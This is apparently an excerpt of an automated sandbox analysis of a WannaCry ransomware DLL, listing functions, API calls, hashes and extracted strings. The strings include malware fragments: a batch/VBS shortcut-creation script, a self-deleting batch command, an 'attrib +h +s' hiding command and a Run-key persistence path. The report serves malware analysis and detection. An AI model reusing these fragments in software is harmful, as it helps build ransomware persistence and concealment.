                                                                                                                                                                                • Opcode ID: b363998bde18683af009ee46e1ce10118f5fbe9ee4d3bceef1b0164aeb75d0ff
                                                                                                                                                                                • Instruction ID: 8acda46cc026f7592c4ee70142fb235f08bec8b36f89472f51a8b593d463a20b
                                                                                                                                                                                • Opcode Fuzzy Hash: b363998bde18683af009ee46e1ce10118f5fbe9ee4d3bceef1b0164aeb75d0ff
                                                                                                                                                                                • Instruction Fuzzy Hash: 781121B0643761A7FB54FB6A9C94FEE3694EBC42D1302002BE9019315DDF649841CB70
                                                                                                                                                                                Function 10002D60 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 108COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 455 10002d60-10002d77 wcsrchr 456 10002d79-10002d7c 455->456 457 10002d7f-10002d92 _wcsicmp 455->457 458 10002d98-10002da5 _wcsicmp 457->458 459 10002e5b-10002e63 457->459 458->459 460 10002dab-10002db8 _wcsicmp 458->460 461 10002dc5-10002dd1 460->461 462 10002dba-10002dc2 460->462 463 10002dd3-10002dde _wcsicmp 461->463 464 10002dea-10002df6 461->464 465 10002de0-10002de8 463->465 466 10002e11-10002e19 463->466 467 10002e27-10002e34 _wcsicmp 464->467 468 10002df8-10002e03 _wcsicmp 464->468 465->463 465->464 469 10002e41-10002e58 _wcsicmp 467->469 470 10002e36-10002e3e 467->470 471 10002e05-10002e0d 468->471 472 10002e1c-10002e24 468->472 471->468 473 10002e0f 471->473 473->467
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcsicmp$wcsrchr
                                                                                                                                                                                • String ID: .WNCRY$.WNCRYT$.WNCYR$.dll$.exe
                                                                                                                                                                                • API String ID: 2496260227-3981601049
                                                                                                                                                                                • Opcode ID: 5903ff2edf89349bd2686ef71d84bc7708304c14f2e0e0755f497b2b138f29db
                                                                                                                                                                                • Instruction ID: c174833711b2fb1714a36c3f2b07131fd7d14ecb9d1a9f70295dd6690f64d7bf
                                                                                                                                                                                • Opcode Fuzzy Hash: 5903ff2edf89349bd2686ef71d84bc7708304c14f2e0e0755f497b2b138f29db
                                                                                                                                                                                • Instruction Fuzzy Hash: B8218E3264025153F620D229ED84F976398CBD46F6F05803BEE08D6248E729EC6AD175
                                                                                                                                                                                Function 100011D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 100COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 100011E4
                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 10001214
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 1000121A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ProcessToken$CurrentErrorInformationLastOpen
                                                                                                                                                                                • String ID: ConvertSidToStringSidW$advapi32.dll
                                                                                                                                                                                • API String ID: 3761956567-1399820460
                                                                                                                                                                                • Opcode ID: 303a435fe0c47bc2ab0ad51a806ed00c7655853782dcd7968111a56573c8e81e
                                                                                                                                                                                • Instruction ID: 47968a519e593bd1c62a1f3d62b818a3899146cc2fa57af3534c2703d8e63c9f
                                                                                                                                                                                • Opcode Fuzzy Hash: 303a435fe0c47bc2ab0ad51a806ed00c7655853782dcd7968111a56573c8e81e
                                                                                                                                                                                • Instruction Fuzzy Hash: 2121C375A00212ABE300DB28EC85FEB37E8FFC06D5F404929F948C2158E374D94986A2
                                                                                                                                                                                Function 10004CD0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 88fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(@WanaDecryptor@.exe,00000000), ref: 10004CE2
                                                                                                                                                                                • CopyFileA.KERNEL32(u.wnry,@WanaDecryptor@.exe,00000000), ref: 10004CF5
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(@WanaDecryptor@.exe.lnk), ref: 10004D00
                                                                                                                                                                                • GetCurrentDirectoryA.KERNEL32(00000208,?,75730F00), ref: 10004D45
                                                                                                                                                                                • sprintf.MSVCRT ref: 10004DC2
                                                                                                                                                                                Strings
                                                                                                                                                                                • @WanaDecryptor@.exe.lnk, xrefs: 10004CFB
                                                                                                                                                                                • @echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10004D11
                                                                                                                                                                                • \, xrefs: 10004D67
                                                                                                                                                                                • @WanaDecryptor@.exe, xrefs: 10004CDD
                                                                                                                                                                                • @WanaDecryptor@.exe.lnk, xrefs: 10004DAC
                                                                                                                                                                                • u.wnry, xrefs: 10004CF0
                                                                                                                                                                                • @WanaDecryptor@.exe, xrefs: 10004CEB, 10004DA2
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$Attributes$CopyCurrentDirectorysprintf
                                                                                                                                                                                • String ID: @WanaDecryptor@.exe$@WanaDecryptor@.exe$@WanaDecryptor@.exe.lnk$@WanaDecryptor@.exe.lnk$@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs$\$u.wnry
                                                                                                                                                                                • API String ID: 2956617637-4137836058
                                                                                                                                                                                • Opcode ID: 1e77d94831eb72cce9ccd5b68757cc63c6d5c9f15047c273025c445cbd2f9ccc
                                                                                                                                                                                • Instruction ID: 5eff72be7f3307a573d5bd41d341f535c62de369077b8a2f1d111735481d9547
                                                                                                                                                                                • Opcode Fuzzy Hash: 1e77d94831eb72cce9ccd5b68757cc63c6d5c9f15047c273025c445cbd2f9ccc
                                                                                                                                                                                • Instruction Fuzzy Hash: A32141364006056AF308D674CC54EEF7B84FBC03A0F104B2EF6AA830E4DEB599088751
                                                                                                                                                                                Function 10005060 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 62COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
                                                                                                                                                                                • GetTempPathW.KERNEL32(00000104,?), ref: 10005094
                                                                                                                                                                                • wcslen.MSVCRT ref: 100050A1
                                                                                                                                                                                • wcslen.MSVCRT ref: 100050AB
                                                                                                                                                                                • wcslen.MSVCRT ref: 100050B9
                                                                                                                                                                                • swprintf.MSVCRT(?,%C:\%s,?,$RECYCLE), ref: 100050DC
                                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 100050E8
                                                                                                                                                                                • sprintf.MSVCRT ref: 100050FE
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: wcslen$Directory$CreatePathTempWindowssprintfswprintf
                                                                                                                                                                                • String ID: $RECYCLE$$RECYCLE$%C:\%s$attrib +h +s %C:\%s
                                                                                                                                                                                • API String ID: 3936433386-879418404
                                                                                                                                                                                • Opcode ID: 0b1339ff9ccf8e90c4efee76c57af1fa94f7e944c16739319b4056cf68cb0408
                                                                                                                                                                                • Instruction ID: 53406f09da6477a7470ce20e768b81243a585eb0d3560c4a70511fa70a1d7675
                                                                                                                                                                                • Opcode Fuzzy Hash: 0b1339ff9ccf8e90c4efee76c57af1fa94f7e944c16739319b4056cf68cb0408
                                                                                                                                                                                • Instruction Fuzzy Hash: EC110671A00620A7F320E7189C8AFCF37A8EFC4785F414419F749A2188E779610987EB
                                                                                                                                                                                Function 10001140 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 42fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                • %sdel /a %%0, xrefs: 100011A0
                                                                                                                                                                                • @echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10001146
                                                                                                                                                                                • %d%d.bat, xrefs: 1000116B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CountTickfclosefopenfprintfrandsprintfsrandtime
                                                                                                                                                                                • String ID: %d%d.bat$%sdel /a %%0$@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs
                                                                                                                                                                                • API String ID: 272371283-582203696
                                                                                                                                                                                • Opcode ID: aeab48e7f3d4686528c9725e0e16e6881e72156af1ea571a06345f8390d46b4c
                                                                                                                                                                                • Instruction ID: bbc73ac05f2c3d766bc92013d972e71024294a5fe7d45ddbd0c21095c0461804
                                                                                                                                                                                • Opcode Fuzzy Hash: aeab48e7f3d4686528c9725e0e16e6881e72156af1ea571a06345f8390d46b4c
                                                                                                                                                                                • Instruction Fuzzy Hash: B9F08172C00364ABE324ABA88C8DFCB376CBB44385F400400FA4991298D67C52488BE6
                                                                                                                                                                                Function 10002200 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: wcscpy$AttributesFile_wcsicmpswprintfwcscatwcsrchr
                                                                                                                                                                                • String ID: %s%s$.WNCRY$.WNCYR
                                                                                                                                                                                • API String ID: 1945328192-3396286913
                                                                                                                                                                                • Opcode ID: dfbcead6c62649fcd8ccf439d45198f201c0d9040458e4aae6c3cb298bf426c5
                                                                                                                                                                                • Instruction ID: 717d28f42427354848a5304481366f48336fdb23f3e673687209add65b969d53
                                                                                                                                                                                • Opcode Fuzzy Hash: dfbcead6c62649fcd8ccf439d45198f201c0d9040458e4aae6c3cb298bf426c5
                                                                                                                                                                                • Instruction Fuzzy Hash: FC219832444345ABF310EF94DD84DEF73A8EB856E5F00092AFA5592148E739A94D8773
                                                                                                                                                                                Function 10004890 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 77processCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75D9F130), ref: 1000139C
                                                                                                                                                                                • GetFullPathNameA.KERNEL32(@WanaDecryptor@.exe,00000208,?,00000000), ref: 100048D3
                                                                                                                                                                                • sprintf.MSVCRT ref: 100048F0
                                                                                                                                                                                • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000,00000000,00000000), ref: 1000495F
                                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000), ref: 10004975
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000,00000000), ref: 1000497C
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseHandle$AllocateCreateFullInitializeNamePathProcesssprintf
                                                                                                                                                                                • String ID: %s %s$@WanaDecryptor@.exe$D$taskse.exe
                                                                                                                                                                                • API String ID: 2559560889-706467931
                                                                                                                                                                                • Opcode ID: 6b57f88f8648c87f5cce99d721361efec0e800680af71fc62602de8dc9799cd0
                                                                                                                                                                                • Instruction ID: da2b5c8f2d4d4c2c4f6f077ca43ea13af02608b477977752943c90fd70028696
                                                                                                                                                                                • Opcode Fuzzy Hash: 6b57f88f8648c87f5cce99d721361efec0e800680af71fc62602de8dc9799cd0
                                                                                                                                                                                • Instruction Fuzzy Hash: EF218871508341AEF300DB64CC54B9BB7E8EFC4784F01881EF68897295DB75D5048B62
                                                                                                                                                                                Function 10004600 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46synchronizationCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • OpenMutexA.KERNEL32(00100000,00000001,Global\MsWinZonesCacheCounterMutexW), ref: 10004610
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 1000461B
                                                                                                                                                                                • sprintf.MSVCRT ref: 1000463F
                                                                                                                                                                                • CreateMutexA.KERNEL32(00000000,00000001,?), ref: 10004651
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 1000465D
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 1000466B
                                                                                                                                                                                Strings
                                                                                                                                                                                • Global\MsWinZonesCacheCounterMutexW, xrefs: 10004604
                                                                                                                                                                                • %s%d, xrefs: 10004639
                                                                                                                                                                                • Global\MsWinZonesCacheCounterMutexA, xrefs: 10004634
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseHandleMutex$CreateErrorLastOpensprintf
                                                                                                                                                                                • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA$Global\MsWinZonesCacheCounterMutexW
                                                                                                                                                                                • API String ID: 1504150273-3969049628
                                                                                                                                                                                • Opcode ID: e33f24fec5a8105520afc6b73cd36ba1053ed9461139c1998fcfaa31dca5d306
                                                                                                                                                                                • Instruction ID: 5a31b93c1da5a20a1b9f141d257786ab794249d41bfd8cb4034ebc3f6a49e628
                                                                                                                                                                                • Opcode Fuzzy Hash: e33f24fec5a8105520afc6b73cd36ba1053ed9461139c1998fcfaa31dca5d306
                                                                                                                                                                                • Instruction Fuzzy Hash: A3F0A475904321A7F220E7288DC9BDF3754EF407C9F414520F94D922C9FB69E94485A7
                                                                                                                                                                                Function 100014A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100014AE
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: rand$wcslen$ComputerNamesrand
                                                                                                                                                                                • String ID: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                                                                                                                                                                                • API String ID: 3058258771-3674288975
                                                                                                                                                                                • Opcode ID: c011ee3e19930f07226b05525630f8276d34537d1db21e69fd792623f7418817
                                                                                                                                                                                • Instruction ID: 6bdad6a71d273d2ba545fc7a1d4ce55d05bb8ce7e3220b07caf5c040d7fd5cbd
                                                                                                                                                                                • Opcode Fuzzy Hash: c011ee3e19930f07226b05525630f8276d34537d1db21e69fd792623f7418817
                                                                                                                                                                                • Instruction Fuzzy Hash: F2213D3150475587F311DB18DC817DBB3D5EBC5750F01092DE99A87285E639990F87B3
                                                                                                                                                                                Function 10002BA0 Relevance: 13.6, APIs: 9, Instructions: 133COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • wcslen.MSVCRT ref: 10002BD9
                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002BFA
                                                                                                                                                                                • wcslen.MSVCRT ref: 10002C15
                                                                                                                                                                                • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 10002C23
                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT ref: 10002C57
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 10002CB8
                                                                                                                                                                                  • Part of subcall function 10003010: GetFileAttributesW.KERNEL32(?,75D9A390,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 10002CD6
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 10002CE3
                                                                                                                                                                                • wcslen.MSVCRT ref: 10002D04
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CriticalSectionwcslen$Leave$??2@??3@AttributesEnterFileG@2@@std@@G@std@@Grow@?$basic_string@U?$char_traits@V?$allocator@
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1692413554-0
                                                                                                                                                                                • Opcode ID: bf47ab301cce5d80662899b40e72b9003692fb151f11c1a372b145daaf1e1548
                                                                                                                                                                                • Instruction ID: 8929200894a3d3d60aeee8930b19ad4408a44741c7842358e38e4ad24ebd9cab
                                                                                                                                                                                • Opcode Fuzzy Hash: bf47ab301cce5d80662899b40e72b9003692fb151f11c1a372b145daaf1e1548
                                                                                                                                                                                • Instruction Fuzzy Hash: 2341BEB29047409BE304DF28CC80AAFF7E9FF88294F44492DF58A83745E735A915CB62
                                                                                                                                                                                Function 10003010 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 188COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,75D9A390,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 10003044
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                • String ID: UUUU
                                                                                                                                                                                • API String ID: 3188754299-1798160573
                                                                                                                                                                                • Opcode ID: 14cc93a9fe107791c37b83c4efdcca205c7828bbbc73b4742ae3ba22524b848d
                                                                                                                                                                                • Instruction ID: 36e163601d4996daa667a0bb92eb2dba8126ee3049f78d5f23e03fc8b8949e05
                                                                                                                                                                                • Opcode Fuzzy Hash: 14cc93a9fe107791c37b83c4efdcca205c7828bbbc73b4742ae3ba22524b848d
                                                                                                                                                                                • Instruction Fuzzy Hash: 265115B57043146BF321DB14DC84FAF77DDFBC87D0F108629FA06A6298D735A90486A5
                                                                                                                                                                                Function 10001080 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 100010D3
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010EB
                                                                                                                                                                                • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
                                                                                                                                                                                • GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001121
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001128
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                                                                                                                • String ID: D
                                                                                                                                                                                • API String ID: 786732093-2746444292
                                                                                                                                                                                • Opcode ID: bb3f84be8fed6d47b9b6b001cc49eadf72aab307978ea7c8928c43ab0557c935
                                                                                                                                                                                • Instruction ID: bf25e3b425067ed05009c6ce0a6326e1c5c349d93b4e77cf05fae7a9ae1fa398
                                                                                                                                                                                • Opcode Fuzzy Hash: bb3f84be8fed6d47b9b6b001cc49eadf72aab307978ea7c8928c43ab0557c935
                                                                                                                                                                                • Instruction Fuzzy Hash: 1111FCB1514311ABE314CF29CC8499BBBE9FF84790F404919F698C6254D774D845CBA2
                                                                                                                                                                                Function 10003810 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000386E
                                                                                                                                                                                • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 10003876
                                                                                                                                                                                • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 100038AD
                                                                                                                                                                                • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 100038BA
                                                                                                                                                                                • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 100038C2
                                                                                                                                                                                • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 100038F9
